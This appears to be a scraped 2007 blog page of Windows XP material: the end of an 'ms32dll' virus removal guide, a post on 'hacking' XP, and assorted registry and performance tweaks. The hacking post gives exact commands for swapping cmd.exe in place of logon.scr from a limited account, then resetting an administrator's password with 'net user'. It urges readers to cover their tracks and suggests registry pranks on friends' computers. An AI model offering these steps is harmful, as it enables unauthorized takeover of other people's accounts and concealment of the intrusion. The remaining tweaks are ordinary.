In the Registry Editor, navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Current Version\Run. In the right frame, locate MS32DLL. Click it once to highlight it and right click and delete it. If you do not find it, proceed to the next step
While still in the Registry Editor, navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main. In the right frame locate the name Windows Title Hacked by Godzilla Right click the item Windows Title and delete it.
Click Start/Run. Type gpedit.msc then click OK
In the left frame double click User Configuration, then Administrative Templates then System. In the right frame locate Turn off Autoplay. Double left click it and
Click the radio button for Enabled and select All drives . Then click OK. By disabling autoruns, you will be able to run virus and spyware scans on a CD/DVD, Floppy or USB flash drive (or mp3 player) BEFORE a virus or spyware can execute. Now you can close the Group Policy Editor.
Click Start/Run. Type in msconfig, then click OK. When the Configuration editor opens click the Startup tab.
Locate the item ms32dll (in the startup item column) and uncheck the box.
Click OK at the bottom to close the Config Editor, and, when asked select Exit Without Restart.
Double click the My Computer icon on the desktop. Then select Tools/Folder Options
1) Click the View Tab and in the list of options:
2) Click the radio button for “Do Not Show Hidden files and folders”
3) Check the boxes for
“Hide Extensions for known file types”
and
“Hide Protected Operating System Files
4) Click OK at the bottom of the Folder Options Window.
15. Locate the Recycle bin in Windows Explorer an click right on it and select Empty Recycle bin
16. Reboot your computer. The virus should be gone.
17. Right click the My Computer icon on your desktop and select properties. Then click the System Restore tab
Select Turn off System Restore on all drives. Then Click Apply and OK
18. Reboot your computer.
19. Right click the My Computer icon on your desktop and select properties. Then click the System Restore tab.
Un-check the box for “Turn off System Restore on all drives. Then Click Apply and OK
When you are sure that you no longer have the virus, create a system restore point.
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Monday, May 14, 2007
Hacking Xp And Registry Hack Part 1
How to hack windows XP admin password
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Registry Hacking
Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"
Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"
No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"
Menu Delays:
Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.
GPEDIT.MSC And Autoplay
A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.
Increasing options in add/remove programs:
Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:
[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7
This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
To this:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7
Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".
Automatically Kill Programs At Shutdown:
don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.
Speeding Up Share Viewing:
This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!
Create a Shortcut to Lock Your Computer
Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.
Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.
Aspi
WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.
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